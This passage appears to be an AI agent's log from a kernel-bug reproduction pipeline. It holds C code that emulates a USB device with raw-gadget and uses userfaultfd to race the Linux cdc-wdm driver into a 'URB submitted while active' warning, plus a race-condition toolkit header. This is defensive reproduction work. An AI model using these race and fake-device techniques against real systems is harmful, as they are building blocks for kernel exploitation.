memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Strategy: An elegant and 100% reliable way to trigger this race condition is to use `userfaultfd` to pause the execution of `wdm_read()` exactly when it is copying data to userspace, and then trigger the `wdm_rxwork` error path by stalling the Interrupt IN endpoint.
### Method Explanation
1. **Gadget Setup**: We emulate a CDC WDM device using `raw-gadget`. The device exposes a Control endpoint (EP0) and an Interrupt IN endpoint (EP1).
2. **Double Notification**: The gadget sends two `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications on EP1. The host driver increments `desc->resp_count` to 2. The host submits a Control Read URB for the first notification.
3. **Data Response**: The gadget responds to the Control Read URB on EP0 with 10 bytes of data. The host driver copies this data to its internal buffer, clears the `WDM_RESPONDING` flag, and wakes up any pending readers.
4. **Block `read()`**: A userspace thread calls `read(/dev/cdc-wdm0, buf, 10)` where `buf` is a memory region monitored by `userfaultfd`. The `read()` syscall starts copying the 10 bytes and blocks on the page fault.
5. **Trigger `wdm_rxwork`**: While `read()` is blocked, the gadget sends a STALL (HALT) on EP1. The host receives `-EPIPE` and schedules `wdm_rxwork()`.
6. **The Race**:
- `wdm_rxwork()` runs, sees `WDM_RESPONDING == 0`, sets it to 1, and submits the `desc->response` URB.
- We wait a fraction of a second to ensure the URB is submitted and active.
- We resolve the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()` and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` to 1, sets `WDM_RESPONDING` to 1 (blindly overwriting it), and submits the `desc->response` URB again.
- The USB core detects that the URB is already active and emits the `URB submitted while active` WARNING.
### C Reproducer
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Previous Reproducer Attempt:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
int main() {
printf("[*] Probing for /dev/raw-gadget...\n");
int fd = open("/dev/raw-gadget", O_RDWR);
if (fd < 0) {
printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
return 1;
}
printf("[+] /dev/raw-gadget opened successfully.\n");
close(fd);
printf("[*] Probing for userfaultfd...\n");
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
printf("[-] Failed to create userfaultfd: %s\n", strerror(errno));
return 1;
}
printf("[+] userfaultfd created successfully.\n");
close(uffd);
printf("[+] All probes passed.\n");
return 0;
}
Execution Results & Debugging Feedback:
The capability probe passed successfully. Both /dev/raw-gadget and userfaultfd are available in the environment. Please proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate.
|
| 95/4 |
2026/09/11 22:17 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 9653
output: 16
thoughts: 246
Thoughts: **My Thought Process for Generating the C Reproducer**
Okay, so the core task is to create a C reproducer for a specific bug: a `WARNING` occurring in `usb_submit_urb` when called from `service_outstanding_interrupt` within the `cdc-wdm.c` driver.
I've just reviewed the context provided. It seems a previous interaction involved a "capability probe," and that probe confirmed that both `/dev/raw-gadget` and `userfaultfd` are available in the execution environment. That's good news; it means the foundational components for triggering this kind of USB device interaction are in place.
Now, the prompt explicitly mentions a "strategy" and a "C reproducer" within its "Method Explanation" and "C Reproducer" sections. My primary goal is to present these as *my* generated output, ensuring they are accurate, compilable, and runnable.
However, there's a crucial detail I caught: the C code snippet includes `#include "race_toolkit.h"`. This immediately signals a dependency on a specific toolkit. My immediate internal action is to acknowledge that I don't have this toolkit readily embedded. To make this reproducible for the user, I need to ensure that this toolkit is accessible. The most direct way to address this is by using the `get-toolkit` command, specifically with the argument "race," to fetch and make the necessary components available.
Therefore, my next step in the thought process is to conceptualize the output not just as the code itself, but as a complete solution that includes the prerequisite action of obtaining the `race` toolkit. This ensures that when the user receives this, they have all the necessary pieces to compile and run the reproducer.
|
| 96/4 |
2026/09/11 22:18 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 97/4 |
2026/09/11 22:18 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 11581
output: 41
thoughts: 148
Thoughts: **My Goal: Inducing a Specific USB Warning**
Okay, so the immediate objective is clear: I need to make the `WARNING in service_outstanding_interrupt/usb_submit_urb` happen. I've been given a stack trace, which is precisely what I need to start dissecting this.
Looking at the trace:
```
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
```
